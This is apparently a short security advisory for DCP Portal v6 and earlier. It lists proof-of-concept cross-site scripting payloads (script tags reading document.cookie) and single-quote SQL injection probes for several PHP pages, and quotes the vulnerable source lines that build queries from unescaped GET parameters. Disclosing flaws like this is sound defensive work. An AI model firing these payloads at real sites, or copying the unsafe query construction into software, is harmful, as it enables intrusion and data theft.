Web Site: http://www.dcp-portal.org/ DCP Portal <= v6 This script is possibly vulnerable to SQL Injection attacks AND Cross Site Scripting (XSS) attacks The script has been tested with these query variables: XSS : http://[target]/index.php?page=send&cid=<script>alert(document.cookie);</script> XSS - only POST metod calendar.php http://[target]/calendar.php The script has been tested with these POST variables: month=<script>alert(document.cookie);</script>&s=1&submit=GO&year=2003&day=01 Also this script is possibly vulnerable to SQL Injection attacks. The SQL Injection attacks has been tested with these POST variables: register.php sex=1&name=%27&surname=1&email=1&b_month=0&b_day=0&b_year=0&address=1&zip=1&city=1&country=1&job=1&tel=1&signature=1&username=1&password=1&password2=1&hide=on&list=on&action=send&submit=Send lostpassword.php mode=lost&email=%27&submit=Send calendar.php month=1&s=1&submit=GO&year='&day=01 month=1&s=1&submit=GO&year=%27&day=01 index.php?cid=%27[SQL] cod from index.php $sql = "SELECT id, name FROM $t_cats WHERE cat_id = '".$_GET["cid"]."' ORDER BY sort, name"; $result = mysql_query($sql); forums.php?action=showmsg&mid=%27[SQL] cod from forum.php $resultt = mysql_query("SELECT * FROM $t_forum_msg WHERE b_id = '".$_GET["bid"]."' $where AND msg_id = '0'"); while($rowt=mysql_fetch_array($resultt)) { Best Regards Alex
